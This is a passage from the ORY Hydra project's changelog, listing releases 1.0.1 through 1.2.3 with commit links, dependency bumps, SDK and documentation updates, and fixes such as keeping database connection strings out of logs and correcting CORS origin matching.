CHANGELOG [ci skip] ([91d6737](https://github.com/ory/hydra/commit/91d67376ccef3c2e1f3146b098bc9383a9ba25f4)) * Update CHANGELOG [ci skip] ([2d8c1ec](https://github.com/ory/hydra/commit/2d8c1ec75c46067ea1bcebeeabf99411465bc7e9)) * Add swagutil to tools (#1714) ([d3eac25](https://github.com/ory/hydra/commit/d3eac2515b43a393ccf21de7b4195d63aa76f916)), closes [#1714](https://github.com/ory/hydra/issues/1714) # [1.2.3](https://github.com/ory/hydra/compare/v1.2.2...v1.2.3) (2020-01-31) Update CHANGELOG [ci skip] ### Unclassified * Update CHANGELOG [ci skip] ([ae4334d](https://github.com/ory/hydra/commit/ae4334d458aa06d127e56a91d41bdb95665ea6b5)) * Small punctuation README change (#1713) ([f83edb2](https://github.com/ory/hydra/commit/f83edb290e836b09d4ef4a1fe2388c8c48e588ab)), closes [#1713](https://github.com/ory/hydra/issues/1713) * Update CHANGELOG [ci skip] ([5cd6736](https://github.com/ory/hydra/commit/5cd67362184877175fe251f06817f6aa129fc1ab)) * Update CHANGELOG [ci skip] ([4dd7acb](https://github.com/ory/hydra/commit/4dd7acb8e90fd794ed836319cbae266ee7053915)) * Remove merge client during update in memory ([#1705](https://github.com/ory/hydra/issues/1705)) ([b0bf43f](https://github.com/ory/hydra/commit/b0bf43f380d2194ff27353105e479562b9a9fbe8)) # [1.2.2](https://github.com/ory/hydra/compare/v1.2.1...v1.2.2) (2020-01-23) Updates configuration value for supported OIDC Subject Types (#1706) Renames config key `oidc.subject_identifiers.enabled` to `oidc.subject_identifiers.supported_types`. See #1704 ### Documentation * Updates issue and pull request templates ([#1700](https://github.com/ory/hydra/issues/1700)) ([cb5de79](https://github.com/ory/hydra/commit/cb5de79bc5ed5cf30564f0a9f16aaaa1ef1b7151)) ### Unclassified * Updates configuration value for supported OIDC Subject Types (#1706) ([2e285b9](https://github.com/ory/hydra/commit/2e285b915561d3b9848139d95e163ac2a6dd22a3)), closes [#1706](https://github.com/ory/hydra/issues/1706) [#1704](https://github.com/ory/hydra/issues/1704) * Update CHANGELOG [ci skip] ([37e96b7](https://github.com/ory/hydra/commit/37e96b727bfeee8629b7047de49ea09821c082c8)) * Update CHANGELOG [ci skip] ([cb7274f](https://github.com/ory/hydra/commit/cb7274ff1b7624ff6f372b79fb025debbabc7ac9)) * Fix logging Span ID ([#1695](https://github.com/ory/hydra/issues/1695)) ([7f84351](https://github.com/ory/hydra/commit/7f84351853269d82493db73c6bd566ccb73a98bf)) * Update ory/x dependency to 0.0.89 ([#1702](https://github.com/ory/hydra/issues/1702)) ([5a27ab3](https://github.com/ory/hydra/commit/5a27ab34f567f80e4b771590c217d52b1e6d8eb2)), closes [#1667](https://github.com/ory/hydra/issues/1667) # [1.2.1](https://github.com/ory/hydra/compare/v1.2.0...v1.2.1) (2020-01-15) Update CHANGELOG [ci skip] ### Unclassified * Update CHANGELOG [ci skip] ([6ab4587](https://github.com/ory/hydra/commit/6ab45872b6ac944b65d19c4d29969edfa5836a31)) * Remove sdk/generate as dependency from changelog ([9565bf3](https://github.com/ory/hydra/commit/9565bf3c685f8c6f6affdee3386c7094c23a6b16)) * Update CHANGELOG [ci skip] ([f40d2a8](https://github.com/ory/hydra/commit/f40d2a8a4bfd6c1003874faaff1ae40ed07728c7)) * Update CHANGELOG [ci skip] ([0761156](https://github.com/ory/hydra/commit/0761156a3669e88bdab7503a27c6a3bd4a2a83d4)) * Update SDK ([f1b45c3](https://github.com/ory/hydra/commit/f1b45c34558df03ec3e1bf3c52fea0321ddbfb20)) * Update CHANGELOG [ci skip] ([fc16ab9](https://github.com/ory/hydra/commit/fc16ab97646bb444d90925b920c651e450cf1f38)) * Update SDK ([bb41c80](https://github.com/ory/hydra/commit/bb41c807995a44de7c14474cefaf79415128e7bf)) * Update CHANGELOG [ci skip] ([7cbeb97](https://github.com/ory/hydra/commit/7cbeb9794c242c0bbbbab63f5f13ed472a6a5764)) * Update SDK ([e21a6c0](https://github.com/ory/hydra/commit/e21a6c0344f18d972b4ae1b76521120624a4fbc8)) * Update Consent API Swagger definitions (#1682) ([8bd4e55](https://github.com/ory/hydra/commit/8bd4e550672bcf2ea9ac92691467a03e3176df17)), closes [#1682](https://github.com/ory/hydra/issues/1682) * Update CHANGELOG [ci skip] ([9b83358](https://github.com/ory/hydra/commit/9b8335849070da01ba61c45c7585cdff1babe050)) * Update SDK ([23b209f](https://github.com/ory/hydra/commit/23b209f9400c38831545b89122b07b79e2e2b3bc)) * Bump docker base images ([#1686](https://github.com/ory/hydra/issues/1686)) ([51249b9](https://github.com/ory/hydra/commit/51249b9439682856396e7c463532ed4b3e691a2e)): Go to v1.13.5 Alpine to v3.11 * Make logging traceable ([#1685](https://github.com/ory/hydra/issues/1685)) ([3cee9b1](https://github.com/ory/hydra/commit/3cee9b1709f630dfaf03bc8fc9dc04a88385f720)) * Restrict fc & bc logout to sid parameter ([#1691](https://github.com/ory/hydra/issues/1691)) ([d68838e](https://github.com/ory/hydra/commit/d68838e99a276598bf8235611b4f88c3e4d2c29f)), closes [#1660](https://github.com/ory/hydra/issues/1660) # [1.2.0](https://github.com/ory/hydra/compare/v1.2.0-alpha.3...v1.2.0) (2020-01-08) Update CHANGELOG [ci skip] ### Unclassified * Update CHANGELOG [ci skip] ([fabf0ca](https://github.com/ory/hydra/commit/fabf0caf3943d38e997c6d545f3694347cf8d2d4)) * Update SDK ([2b4fe8c](https://github.com/ory/hydra/commit/2b4fe8cc5232376dfc0771d326a33caa6ef9a89d)) # [1.2.0-alpha.3](https://github.com/ory/hydra/compare/v1.2.0-alpha.2...v1.2.0-alpha.3) (2020-01-08) Remove unused swagger definitions (#1681) ### Unclassified * Remove unused swagger definitions (#1681) ([7d3f73c](https://github.com/ory/hydra/commit/7d3f73cdbff29269bfbe99d65ded1c5b92499921)), closes [#1681](https://github.com/ory/hydra/issues/1681) * Update CHANGELOG [ci skip] ([a276bc7](https://github.com/ory/hydra/commit/a276bc76ee7fa1a13a99a59e11f30c3c251df107)) * Update SDK ([88965e1](https://github.com/ory/hydra/commit/88965e1ce6a3fd66af6f0f19c96f4e7816c7b6a9)) # [1.2.0-alpha.2](https://github.com/ory/hydra/compare/v1.2.0-alpha.1...v1.2.0-alpha.2) (2020-01-08) ci: Bump sdk orb to 0.1.10 ### Continuous Integration * Bump sdk orb to 0.1.10 ([6fa6e41](https://github.com/ory/hydra/commit/6fa6e41cb200f5c37480f14b54af4ab16001f7e9)) # [1.2.0-alpha.1](https://github.com/ory/hydra/compare/v1.1.1...v1.2.0-alpha.1) (2020-01-07) Update CHANGELOG [ci skip] ### Documentation * Add better development instructions ([#1678](https://github.com/ory/hydra/issues/1678)) ([4b81e9e](https://github.com/ory/hydra/commit/4b81e9e00a27a9af0d73f2c1a3581507ce44ff32)) * Incorporates changes from version v1.1.1 [ci skip] ([43d1218](https://github.com/ory/hydra/commit/43d1218f3c677713d2146a7c3f9328c333d75a84)) * Incorporates changes from version v1.1.1-2-g0a551405 [ci skip] ([f0f8902](https://github.com/ory/hydra/commit/f0f89026d0d3bcfa4f1a4606fa4d5837a0aab1fd)) * Incorporates changes from version v1.1.1-4-g62345587 [ci skip] ([ee61dff](https://github.com/ory/hydra/commit/ee61dfff139572227b597b0239e3f208bb45cf56)) ### Unclassified * Update CHANGELOG [ci skip] ([1672777](https://github.com/ory/hydra/commit/1672777fa25bac6b6d52d092b4e73cdd0c0cd7c2)) * Update SDK ([28374ce](https://github.com/ory/hydra/commit/28374ce131e5f08ef4da842336c1e53626b0d567)) * Update CHANGELOG [ci skip] ([5621f9a](https://github.com/ory/hydra/commit/5621f9adc0ac389985d1353adca2815bb28095dc)) * Update SDK ([11ac7b4](https://github.com/ory/hydra/commit/11ac7b4da09a9bd69da4a244231101ff318e77eb)) * Update CHANGELOG [ci skip] ([2e99644](https://github.com/ory/hydra/commit/2e99644bdfade53f4a130389aec348d6c49499c9)) * Update SDK ([6446c55](https://github.com/ory/hydra/commit/6446c55b9b97f364c16a8663dc65b798fc20db51)) * Move to new SDK generator (#1677) ([02e7c22](https://github.com/ory/hydra/commit/02e7c22e0196f8fdf4cd77601e3c63749d7a0982)), closes [#1677](https://github.com/ory/hydra/issues/1677): This PR moves to the new SDK generation pipeline. Due to an accidental push to master from a broken CI task, it includes several commits that are already in master. Please ignore those commits named `(interim)`. This is the correct umbrella commit. * Update SDK ([5795d50](https://github.com/ory/hydra/commit/5795d505c97ac8f9fe8c642e27d95d4733a5a2a3)) * Implement new SDK pipeline (interim) ([d1778b8](https://github.com/ory/hydra/commit/d1778b8a6d9435fa95f1b4b8efc38b9639a5109d)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([84a53b3](https://github.com/ory/hydra/commit/84a53b333857eb27ffa8a74b46a724dc66573bb8)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([c499e52](https://github.com/ory/hydra/commit/c499e52bbcb146813a61b29943fda61be05a696d)): This is an interim commit that got pushed to master by the CI on accident. * Update SDK ([4293f5f](https://github.com/ory/hydra/commit/4293f5ffa721a2970a8c2e2a0e7bf1129a8bba47)) * Implement new SDK pipeline (interim) ([1e9eaf0](https://github.com/ory/hydra/commit/1e9eaf037d719eab4e55be24c871975a96b1f18d)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([57c4b29](https://github.com/ory/hydra/commit/57c4b29869135e9f204ba3040f8b4606ddb337e8)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([7298581](https://github.com/ory/hydra/commit/72985810c63c9b72a7323619412817620f6c8a21)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([4880fb2](https://github.com/ory/hydra/commit/4880fb24370020af917f946a511f1d515668f12c)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([51ad2fb](https://github.com/ory/hydra/commit/51ad2fbd151ff8e53557a73b835b2daea8c63a16)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([dccf0e4](https://github.com/ory/hydra/commit/dccf0e479193edb84c5c1edc3039fa886c640108)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([209f541](https://github.com/ory/hydra/commit/209f5415d55eccc8528bb979bfba66936bc68b8d)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([bcc177c](https://github.com/ory/hydra/commit/bcc177cc08bb5777d4be0f0a99bc965951ac82dc)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([b61cb5c](https://github.com/ory/hydra/commit/b61cb5c18a8b497843bebd1a975bc3269468cd31)): This is an interim commit that got pushed to master by the CI on accident. * Implement new SDK pipeline (interim) ([7855215](https://github.com/ory/hydra/commit/7855215c17d43a04385c076e98f296b627a224e7)): This is an interim commit that got pushed to master by the CI on accident. * Update CHANGELOG [ci skip] ([487aaf8](https://github.com/ory/hydra/commit/487aaf8de10048875c5ddac10479d6dd7a5504cd)) * Update config.yaml (#1676) ([bca3e0f](https://github.com/ory/hydra/commit/bca3e0f9add0b878877d9d4e6016a41fd6f96be0)), closes [#1676](https://github.com/ory/hydra/issues/1676): Use the actual default admin port in example. * Implement new SDK pipeline (interim) ([94101dc](https://github.com/ory/hydra/commit/94101dcf0b32569cfc960f579ba0a28600b94fbe)): This is an interim commit that got pushed to master by the CI on accident. * Use circleci changelog orb (#1675) ([1aa9a52](https://github.com/ory/hydra/commit/1aa9a524b2be84f074991c521c52d7d2b23663e8)), closes [#1675](https://github.com/ory/hydra/issues/1675) * Reintroduce SDK task ([0a55140](https://github.com/ory/hydra/commit/0a551405a0f84d83a7aac980242e5606c4fd04dc)) * Use generate secrets function as used in cmd ([#1674](https://github.com/ory/hydra/issues/1674)) ([bf2f0fe](https://github.com/ory/hydra/commit/bf2f0fe8891d938988d63178a31910b2d1b6e72a)): If a client is being created by the api and the client_secret is not specified then the client_secret is being generated as a random string of length 26. # [1.1.1](https://github.com/ory/hydra/compare/v1.1.0...v1.1.1) (2019-12-19) docs: Incorporates changes from version v1.1.0-4-gc37b710b [ci skip] ### Documentation * Incorporates changes from version v1.1.0 [ci skip] ([2e24e66](https://github.com/ory/hydra/commit/2e24e662273227dee5f7e411842f675d99d8c3fc)) * Incorporates changes from version v1.1.0-2-gc9a01e65 [ci skip] ([e5b5de0](https://github.com/ory/hydra/commit/e5b5de0caef3722716068be1ea569a20a63db7bb)) * Incorporates changes from version v1.1.0-4-gc37b710b [ci skip] ([d78f403](https://github.com/ory/hydra/commit/d78f4030c58a4e51423f3e457ff21a2015c5032e)) ### Unclassified * Create and use a proper user in the alpine Dockerfile (#1669) ([c37b710](https://github.com/ory/hydra/commit/c37b710b338a941688f48681c35ebd6e881cbdce)), closes [#1669](https://github.com/ory/hydra/issues/1669) [#1596](https://github.com/ory/hydra/issues/1596) * Added tests for helpers ([#1665](https://github.com/ory/hydra/issues/1665)) ([c9a01e6](https://github.com/ory/hydra/commit/c9a01e65049697f30deb12cdfa4c389591ea1b89)) # [1.1.0](https://github.com/ory/hydra/compare/v1.0.9...v1.1.0) (2019-12-16) docs: Update upgrade guide for 1.1.0 ### Documentation * Incorporates changes from version v1.0.9 [ci skip] ([36144f7](https://github.com/ory/hydra/commit/36144f70ad768e7be75e7a156ed227162e1c9ea7)) * Incorporates changes from version v1.0.9-12-gc1a5c3a5 [ci skip] ([4010d43](https://github.com/ory/hydra/commit/4010d43d7633a26c658e456cb18fc95a4f465262)) * Incorporates changes from version v1.0.9-14-ge6f4f90c [ci skip] ([b0ddc2a](https://github.com/ory/hydra/commit/b0ddc2af71d760391c71dbd10c36fd38f6e7b7d1)) * Incorporates changes from version v1.0.9-2-gd5e8f970 [ci skip] ([a47dd97](https://github.com/ory/hydra/commit/a47dd97835684b04df2c26cf8f9e142f549bbcb1)) * Incorporates changes from version v1.0.9-5-g53d5c7cb [ci skip] ([3569ea3](https://github.com/ory/hydra/commit/3569ea381eac5ce7d31aba5c66f796015cfe5926)) * Incorporates changes from version v1.0.9-7-g9abfe794 [ci skip] ([c87c9ad](https://github.com/ory/hydra/commit/c87c9addec0750b35d0df526d203291dd5f4e251)) * Incorporates changes from version v1.0.9-9-ge0f0a50d [ci skip] ([9dbf8b5](https://github.com/ory/hydra/commit/9dbf8b538b3374a0293884b9d6a0663ab378648c)) * Update upgrade guide for 1.1.0 ([d752cfb](https://github.com/ory/hydra/commit/d752cfbce4b554cd648c9772de2f5b32ccc8a40c)) ### Unclassified * Update README banner (#1661) ([e6f4f90](https://github.com/ory/hydra/commit/e6f4f90c627fd222dc41914ba4bac09a5aede145)), closes [#1661](https://github.com/ory/hydra/issues/1661) * Add several SQL lookup indices (#1654) ([7cb7783](https://github.com/ory/hydra/commit/7cb7783012d9a9dccb61c38f2466916968eab8ab)), closes [#1654](https://github.com/ory/hydra/issues/1654) [#1653](https://github.com/ory/hydra/issues/1653) * Fix typo in handler.go comment (#1626) ([53d5c7c](https://github.com/ory/hydra/commit/53d5c7cb96b89cffc546f5d4a9f2c308b75841bf)), closes [#1626](https://github.com/ory/hydra/issues/1626): ... and generated documentation * Update dockerfiles to latest alpine and golang (#1636) ([19bba5c](https://github.com/ory/hydra/commit/19bba5ca4dfed1271a6f72caf646746fe3de6908)), closes [#1636](https://github.com/ory/hydra/issues/1636) * Update upgrade changelog (#1632) ([d5e8f97](https://github.com/ory/hydra/commit/d5e8f970265b3794da263676f1166e75a7f1b9d4)), closes [#1632](https://github.com/ory/hydra/issues/1632) * Bump ory/fosite to v0.30.2 ([#1643](https://github.com/ory/hydra/issues/1643)) ([e0f0a50](https://github.com/ory/hydra/commit/e0f0a50d0c9440ea9772e51df6f1f2dbd3915e0e)), closes [#1642](https://github.com/ory/hydra/issues/1642) * Bump ory/x to 0.0.82 ([#1641](https://github.com/ory/hydra/issues/1641)) ([9abfe79](https://github.com/ory/hydra/commit/9abfe794e2983845c5689f88e4c3aac761eebbfd)), closes [#1640](https://github.com/ory/hydra/issues/1640): Resolves an issue where the MySQL connection string would be included in the logs. * Update ory/x to latest version ([#1655](https://github.com/ory/hydra/issues/1655)) ([c1a5c3a](https://github.com/ory/hydra/commit/c1a5c3a5f4d59b60e1da5a10425356e196e76690)) # [1.0.9](https://github.com/ory/hydra/compare/v1.0.8...v1.0.9) (2019-11-02) docs: Incorporates changes from version v1.0.8-18-gb48b1a08 [ci skip] ### Documentation * Incorporates changes from version v1.0.8-13-gc629190a [ci skip] ([8de3dca](https://github.com/ory/hydra/commit/8de3dca2e9396b1d85a1cbb0b799438a29618606)) * Incorporates changes from version v1.0.8-15-g31ecf09c [ci skip] ([ad9db79](https://github.com/ory/hydra/commit/ad9db79dca08121441c2799a01aed3b833f6631f)) * Incorporates changes from version v1.0.8-18-gb48b1a08 [ci skip] ([ba3f66f](https://github.com/ory/hydra/commit/ba3f66fb3bcb6bac5e686c1e486cffea564b31f7)) * Incorporates changes from version v1.0.8-8-g757c2d39 ([e17c1ba](https://github.com/ory/hydra/commit/e17c1ba2b4397623db3116a21dc9b1ebebe9a603)) * Incorporates changes from version v1.0.8-9-ge17c1ba2 ([c066278](https://github.com/ory/hydra/commit/c0662780ef7255de7edec6fa35f10811c4d795f0)) * Remove OAuth 2.0 Dynamic Client Registration links ([#1611](https://github.com/ory/hydra/issues/1611)) ([40d2276](https://github.com/ory/hydra/commit/40d2276155cd10189071d5112c70988561018880)), closes [#1601](https://github.com/ory/hydra/issues/1601) * Resolve broken markdown links ([#1612](https://github.com/ory/hydra/issues/1612)) ([c629190](https://github.com/ory/hydra/commit/c629190ac8cb8101b9b75f63e8f42b541af3ffaf)), closes [#1600](https://github.com/ory/hydra/issues/1600) ### Unclassified * Revert incorrect license changes ([9722506](https://github.com/ory/hydra/commit/972250612fc57b78474a04b38abbc42384c77cba)) * Updated README.md file (#1606) ([44ee9e2](https://github.com/ory/hydra/commit/44ee9e2797b6c55fc8d0275c92ddb21a6d08b627)), closes [#1606](https://github.com/ory/hydra/issues/1606): Made grammatical corrections * Remove unnecessary paragraph in Hydra API docs (#1605) ([6ff3510](https://github.com/ory/hydra/commit/6ff3510f8a3c26ea8767e5692de56f2a907e12eb)), closes [#1605](https://github.com/ory/hydra/issues/1605) * Add optional metadata field ([#1602](https://github.com/ory/hydra/issues/1602)) ([c84adc7](https://github.com/ory/hydra/commit/c84adc741316ffb25cd19434dbe38f677b494e09)), closes [#1594](https://github.com/ory/hydra/issues/1594): Added field `metadata` to client payloads which can be used to store arbitrary JSON blobs.l * Change pk field to int64 ([#1597](https://github.com/ory/hydra/issues/1597)) ([7547ac9](https://github.com/ory/hydra/commit/7547ac9da82969e80d5f649d1fe3864000c28829)), closes [#1595](https://github.com/ory/hydra/issues/1595): Changed PK from int to int64, ran make test with no issues. * Correct alias in OAuth2 scopes documentation ([#1613](https://github.com/ory/hydra/issues/1613)) ([31ecf09](https://github.com/ory/hydra/commit/31ecf09cb48bce61d3057b1de162c7c39251d6a1)) * **deps:** Bump jackson-version in /sdk/java/hydra-client-resttemplate ([#1608](https://github.com/ory/hydra/issues/1608)) ([713a5ae](https://github.com/ory/hydra/commit/713a5aecdf3f6def54b2766d854dabaaa81342ff)): Bumps `jackson-version` from 2.8.9 to 2.10.0. Updates `jackson-core` from 2.8.9 to 2.10.0 - [Release notes](https://github.com/FasterXML/jackson-core/releases) - [Commits](https://github.com/FasterXML/jackson-core/compare/jackson-core-2.8.9...jackson-core-2.10.0) Updates `jackson-annotations` from 2.8.9 to 2.10.0 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-databind` from 2.8.9 to 2.10.0 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-jaxrs-json-provider` from 2.8.9 to 2.10.0 Updates `jackson-datatype-joda` from 2.8.9 to 2.10.0 - [Release notes](https://github.com/FasterXML/jackson-datatype-joda/releases) - [Commits](https://github.com/FasterXML/jackson-datatype-joda/compare/jackson-datatype-joda-2.8.9...jackson-datatype-joda-2.10.0) * Fix CORS origin match for OAuth2 Clients ([#1624](https://github.com/ory/hydra/issues/1624)) ([b48b1a0](https://github.com/ory/hydra/commit/b48b1a0856d0bd043ef21a4ba82ecb92294df443)), closes [#1615](https://github.com/ory/hydra/issues/1615) # [1.0.8](https://github.com/ory/hydra/compare/v1.0.7...v1.0.8) (2019-10-04) driver: don't log DSN (#1593) ### Unclassified * Don't log DSN ([#1593](https://github.com/ory/hydra/issues/1593)) ([f60c724](https://github.com/ory/hydra/commit/f60c7241788e4860a4fc1b1f7dfe2fed3a93a662)) * Don't touch authentication cookie on skipped logins ([#1564](https://github.com/ory/hydra/issues/1564)) ([31752ab](https://github.com/ory/hydra/commit/31752abb913176ff40675261e21eadacb88bd903)), closes [#1557](https://github.com/ory/hydra/issues/1557) # [1.0.7](https://github.com/ory/hydra/compare/v1.0.6...v1.0.7) (2019-09-29) ci: Update github_changhelog_generator version ### Continuous Integration * Update github_changhelog_generator version ([46afe21](https://github.com/ory/hydra/commit/46afe21f9da45b0bfd18d586fcb88ffa1ba43f1c)) # [1.0.6](https://github.com/ory/hydra/compare/v1.0.5...v1.0.6) (2019-09-29) ci: Use ruby 2.5 ### Continuous Integration * Use ruby 2.5 ([a3e6674](https://github.com/ory/hydra/commit/a3e6674fde39b9a790755c4bdbc3c07432d262ab)) # [1.0.5](https://github.com/ory/hydra/compare/v1.0.4...v1.0.5) (2019-09-28) ci: Bump changelog ruby version (#1586) ### Continuous Integration * Bump changelog ruby version ([#1586](https://github.com/ory/hydra/issues/1586)) ([3734cf8](https://github.com/ory/hydra/commit/3734cf8c7263a3a46de33f11c0e6baddbe9e46d0)) # [1.0.4](https://github.com/ory/hydra/compare/v1.0.3...v1.0.4) (2019-09-26) cmd: Remove stray log lines (#1581) Closes https://github.com/ory/k8s/issues/55 ### Unclassified * Update README.md ([debbf30](https://github.com/ory/hydra/commit/debbf30df588d1038ebf974f74d3126ea2db511a)) * **deps:** Bump jackson-version in /sdk/java/hydra-client-resttemplate ([#1578](https://github.com/ory/hydra/issues/1578)) ([eaefe2d](https://github.com/ory/hydra/commit/eaefe2de719214ad4609e9d9279c584eff36c701)): Bumps `jackson-version` from 2.8.9 to 2.10.0.pr3. Updates `jackson-core` from 2.8.9 to 2.10.0.pr3 - [Release notes](https://github.com/FasterXML/jackson-core/releases) - [Commits](https://github.com/FasterXML/jackson-core/compare/jackson-core-2.8.9...jackson-core-2.10.0.pr3) Updates `jackson-annotations` from 2.8.9 to 2.10.0.pr3 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-databind` from 2.8.9 to 2.10.0.pr3 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-jaxrs-json-provider` from 2.8.9 to 2.10.0.pr3 Updates `jackson-datatype-joda` from 2.8.9 to 2.10.0.pr3 - [Release notes](https://github.com/FasterXML/jackson-datatype-joda/releases) - [Commits](https://github.com/FasterXML/jackson-datatype-joda/compare/jackson-datatype-joda-2.8.9...jackson-datatype-joda-2.10.0.pr3) * Make enforce pkce configurable ([#1579](https://github.com/ory/hydra/issues/1579)) ([fbac3e9](https://github.com/ory/hydra/commit/fbac3e945c02489917c2d4bfa2752bcd729f0d45)) * Remove stray log lines ([#1581](https://github.com/ory/hydra/issues/1581)) ([8ad7069](https://github.com/ory/hydra/commit/8ad70696994c460c8165da5e89edd0fa0d3b87d3)): Closes https://github.com/ory/k8s/issues/55 # [1.0.3](https://github.com/ory/hydra/compare/v1.0.2...v1.0.3) (2019-09-23) Fix broken release pipeline (#1575) ### Unclassified * Fix broken release pipeline (#1575) ([b621694](https://github.com/ory/hydra/commit/b6216940dc932469e678e30a13ddaa9c8bd889c8)), closes [#1575](https://github.com/ory/hydra/issues/1575) # [1.0.2](https://github.com/ory/hydra/compare/v1.0.1...v1.0.2) (2019-09-18) docker: Add alpine image (#1566) Closes #1558 ### Unclassified * Add quickstart for prometheus. (#1562) ([2728b36](https://github.com/ory/hydra/commit/2728b363465f11406cf4e2d428b02ef84c51fc89)), closes [#1562](https://github.com/ory/hydra/issues/1562) * Add alpine image ([#1566](https://github.com/ory/hydra/issues/1566)) ([2fbcb59](https://github.com/ory/hydra/commit/2fbcb599e0149e3fb3c48202bee27ea078575a85)), closes [#1558](https://github.com/ory/hydra/issues/1558) * Enable PKCE for private clients ([#1567](https://github.com/ory/hydra/issues/1567)) ([823e493](https://github.com/ory/hydra/commit/823e493696c5f9bd032d2c0354e3faa8730ccc7a)), closes [#1512](https://github.com/ory/hydra/issues/1512) * Ensure order of paginated results ([9f22545](https://github.com/ory/hydra/commit/9f22545ea00dfb9fe76877122a15455ac01af46e)), closes [#1554](https://github.com/ory/hydra/issues/1554) * Makes init task in makefile and corrects readme ([#1555](https://github.com/ory/hydra/issues/1555)) ([f834907](https://github.com/ory/hydra/commit/f8349074bd9859aa6b83db54451d3eb228a3615b)) * Resolve Go 1.12.7 regression in migrate sql ([#1565](https://github.com/ory/hydra/issues/1565)) ([d112c72](https://github.com/ory/hydra/commit/d112c72e1695cac5ccb851b31706c770301ccd19)) # [1.0.1](https://github.com/ory/hydra/compare/v1.0.0...v1.0.1) (2019-09-04) Update README.md (#1549) Space missing :) ### Documentation * Clean up readme ([#1526](https://github.com/ory/hydra/issues/1526)) ([17aa7b9](https://github.com/ory/hydra/commit/17aa7b91b661b6c4d339a3c32ac1907809a3f973)) * Config flag is --config not -config ([#1489](https://github.com/ory/hydra/issues/1489)) ([dda7b55](https://github.com/ory/hydra/commit/dda7b55e6505214b0e367969335927737c21352a)) * Document prometheus API endpoint ([#1537](https://github.com/ory/hydra/issues/1537)) ([222009c](https://github.com/ory/hydra/commit/222009c24b014a11897c1dc56f568d3ba1163b9b)) * Fix /oauth2/token response ([#1538](https://github.com/ory/hydra/issues/1538)) ([dc8dead](https://github.com/ory/hydra/commit/dc8deadb28912d5585a3f6d7fc3b197c5aed997c)), closes [#1533](https://github.com/ory/hydra/issues/1533) * Fix wrong command name ([#1496](https://github.com/ory/hydra/issues/1496)) ([0746f6f](https://github.com/ory/hydra/commit/0746f6f7fca056bf7d67736d47c2b3396777aa0f)) * Incorporates changes from version v1.0.0 ([ca29966](https://github.com/ory/hydra/commit/ca29966a4c8ac91d6cad8a5b075532c56776dbf2)) * Update libraries and 3rd party section ([#1518](https://github.com/ory/hydra/issues/1518)) ([c95512a](https://github.com/ory/hydra/commit/c95512a819f28e0cbbbc93e9750f76898a91d332)): Mark old community projects as such. * Updates issue and pull request templates ([#1500](https://github.com/ory/hydra/issues/1500)) ([e4e0e93](https://github.com/ory/hydra/commit/e4e0e932003a7b55b14d395eab54422be091ba81)) * Updates issue and pull request templates ([#1513](https://github.com/ory/hydra/issues/1513)) ([9c200f6](https://github.com/ory/hydra/commit/9c200f612c4f25040aa56b238b3b76a11bf2bffe)) * Updates issue and pull request templates ([#1522](https://github.com/ory/hydra/issues/1522)) ([800c1b2](https://github.com/ory/hydra/commit/800c1b2ecbcf8b072af9f5f9638833c6eb3529e4)) * Updates issue and pull request templates ([#1523](https://github.com/ory/hydra/issues/1523)) ([fe46241](https://github.com/ory/hydra/commit/fe46241a87dbc8db1750fd81a6cf751a532fcaf9)) * Updates issue and pull request templates ([#1525](https://github.com/ory/hydra/issues/1525)) ([4579356](https://github.com/ory/hydra/commit/4579356f8a18b3cece8a0963a4986bb8b33f21b5)) * Updates issue and pull request templates ([#1536](https://github.com/ory/hydra/issues/1536)) ([3eaa6c3](https://github.com/ory/hydra/commit/3eaa6c3752da7db4d9e5626a069a1be3831868ff)) ### Unclassified * Update README.md (#1549) ([937cb2e](https://github.com/ory/hydra/commit/937cb2e473c525d4e546bf34c5be1dd8ffcade28)), closes [#1549](https://github.com/ory/hydra/issues/1549): Space missing :) * Remove stray fmt.Printf (#1547) ([3578b04](https://github.com/ory/hydra/commit/3578b0438ca157b6db72d2dc8fafccc1c4bcbe4a)), closes [#1547](https://github.com/ory/hydra/issues/1547) * Resolve broken apache thrift dependency (#1540) ([8604797](https://github.com/ory/hydra/commit/860479729bbe97cf0422cb3d9058d2a784f22077)), closes [#1540](https://github.com/ory/hydra/issues/1540) [#1539](https://github.com/ory/hydra/issues/1539) * Improve OAuth2 API Docs (#1499) ([d1343ae](https://github.com/ory/hydra/commit/d1343ae2023bb2ad127ac12764cfe4f63e8f3eab)), closes [#1499](https://github.com/ory/hydra/issues/1499) * Create FUNDING.yml ([ad78e56](https://github.com/ory/hydra/commit/ad78e56ff0429f9f7cc89046ca9214184872ebca)) * Add adopters placeholder ([#1521](https://github.com/ory/hydra/issues/1521)) ([0ff9ed0](https://github.com/ory/hydra/commit/0ff9ed0cbf9cb2fb89e5b1c0054f516302de0fd5)) * Bump to fosite 0.29.7 ([#1517](https://github.com/ory/hydra/issues/1517)) ([7956af7](https://github.com/ory/hydra/commit/7956af7a553afd1ef9a3e1efd428c3ec869908dc)), closes [#1512](https://github.com/ory/hydra/issues/1512): Using PKCE with private clients now returns an error message. * Deduplicate front-/backchannel logout calls ([#1531](https://github.com/ory/hydra/issues/1531)) ([a2f5724](https://github.com/ory/hydra/commit/a2f5724e8ef684cbfe059a136c71b4c52e1ec836)) * **deps:** Bump eslint-utils from 1.3.1 to 1.4.2 ([#1544](https://github.com/ory/hydra/issues/1544)) ([c929e6a](https://github.com/ory/hydra/commit/c929e6a076d3ff0b5a3a6b5e2c486979ab6e784a)): Bumps [eslint-utils](https://github.com/mysticatea/eslint-utils) from 1.3.1 to 1.4.2. - [Release 